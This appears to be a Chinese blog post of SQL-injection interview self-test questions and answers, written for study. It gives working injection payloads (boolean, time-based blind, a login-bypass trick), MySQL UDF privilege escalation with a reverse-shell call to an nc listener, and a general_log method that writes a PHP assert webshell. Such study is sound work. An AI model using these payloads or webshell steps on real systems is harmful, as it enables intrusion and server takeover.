SQL注入学习自测

以下是我在学习整理面试题时所遇到的问题,方便自己巩固sql注入的学习。

1、sql注入的原理

  sql注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。

2、sql注入的判断方式会几种(如何判断有sql注入)

  • 单引号法

如果页面返回错误,则存在sql注入,因为无论是字符型还是数字型都会因为单引号个数不匹配而报错。

  • 输入表达式判断

如?id=8,可尝试输入id=2*4,或者id=8-0。

  • 测试逻辑语句

以逻辑真和逻辑假共同测试。如下:

id=8' and 1=1
id=8' and '1'='1
id=8' and 1=2
id=7' and '1'='2
//如果是字符型,去掉id=8'后面的单引号。
  • 测试延时语句

id=8 and sleep(5)--

若成功则延时返回,则说明存在sql注入。若没有延时,则不存在sql注入。

3、sql注入转译了单引号,怎么办?

如果是get型,则尝试宽字节绕过。

如果是post型,比如登录框处,可尝试构造sql语句进行绕过。

username这样输入:1\,
password这样输入:or 1=1;# 
sql语句变成这样select * from user_table where username='1\' and password='or 1=1;#'; 
在这里,username中输入的\转义了它后面的单引号,因此sql语句实际上变成 username的值等于这样一个字符串: 1' and password=,后面我再接or 1=1;#就生效了。

4、如何防御sql注入

严格检查输入变量的类型和格式

过滤和转义特殊字符

mysql的pdo预编译机制

5、mysql是普通用户时怎么提权,root用户时写shell的条件?

udf提权:

前提:
(1)目标主机是Windows
(2)有insert delete权限
(3)secure_file_priv="" 参数无配置
(4)mysql版本>5.1要将udf.dll导入plugin_dir目录下,可用show variables like '%plugin%'查看,小于5.1要导入到c:\\windows下
(5)绝对路径

利用步骤:
(1)连接数据库成功后将dll文件导入到plugin_dir目录下
(2)输入sql命令,create function cmdshell return soname "udf2.dll"
(3)再执行命令cmdshell('whoami'),发现已经是system权限了
(4)反弹shell,创建函数命令如下:create function backshell returns string soname 'udf2.dll'
    select backshell("ip",port),服务器端nc监听即可

root用户写shell的条件:

  • 对web目录有写权限

  • GPC关闭(能使用单引号)

  • 有绝对路径(读文件可以不用,写文件必须)

  • 没有配置 –secure-file-priv

6、sql注入碰到update型和insert型,你会选择哪种?

insert型,避免对原数据作出修改。

7、什么是二次注入?

比如现在有两个链接:

http://www.a.com/1.php?username=test

http://www.a.com/2.php?id=10

其中1.php页面的功能是注册用户名,也是插入sql语句的地方。

2.php页面的功能是通过参数id读取用户名和用户信息。

第一步访问1.php?username=test',返回错误,test',同时也返回了对应的id=21.

第二部访问2.php?id=21。结果返回test'的信息。

然后又回到第一步构造新语句,1.php?username=test' order by 1#,得到一个新的id=31。

接着重复第二步访问新的id,     2.php?id=31,返回错误(unknown column ‘10’ in 'order clause'),

一直重复该步骤。当访问2.php?id=xxx时,页面返回空白,那就是正常,便可以判断数有几列,接下来就同理了。

8、绕waf讲一讲?

小菜一枚,暂时没研究绕waf。

9、sql注入拿shell的方式?

条件:绝对路径,写权限,secure_file_priv无配置,gpc关闭。

方式:

(1)执行系统命令进行反弹shell;

(2)读配置文件尝试远程连接;

(3)写一句话木马。

(4)设置general_log和general_log_file,写入包含sql日志文件拿shell,设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开

利用姿势:

set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';

10、mysql提权有哪几种?

udf提权;MOF提权

11、sqlmap -u参数是利用http的get 还是 post

get

12、怎么判断一个注入点是数字型还是字符型?布尔型呢?

不用多说,布尔型应该是存在一些当页面没有具体内容返回的时候,具体场景还请大神赐教。

13、盲注怎么实现?

盲注包括时间盲注、布尔盲注。比如给一个url:www.a.com/?id=1。输入单引号后报错,可以这样:?id=1' and if(substr(database(),1,1)='m',sleep(5),1) ,如果数据库的名字的第一位是m,则延时5秒才返回结果,然后依次类推出完整的数据库名、表名、列名和具体数据就ok,反之则直接返回结果。

而布尔盲注是根据返回结果是否为1或者0,即真还是假,如果成功,返回1,失败则返回0。同理推出其他数据。

14、sql注入攻击流量的特点?

个人认为应该是日志中会存在大量url请求链接相同的情况,知识在个别参数中会存在and、union、各种符号等其他非法参数。

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值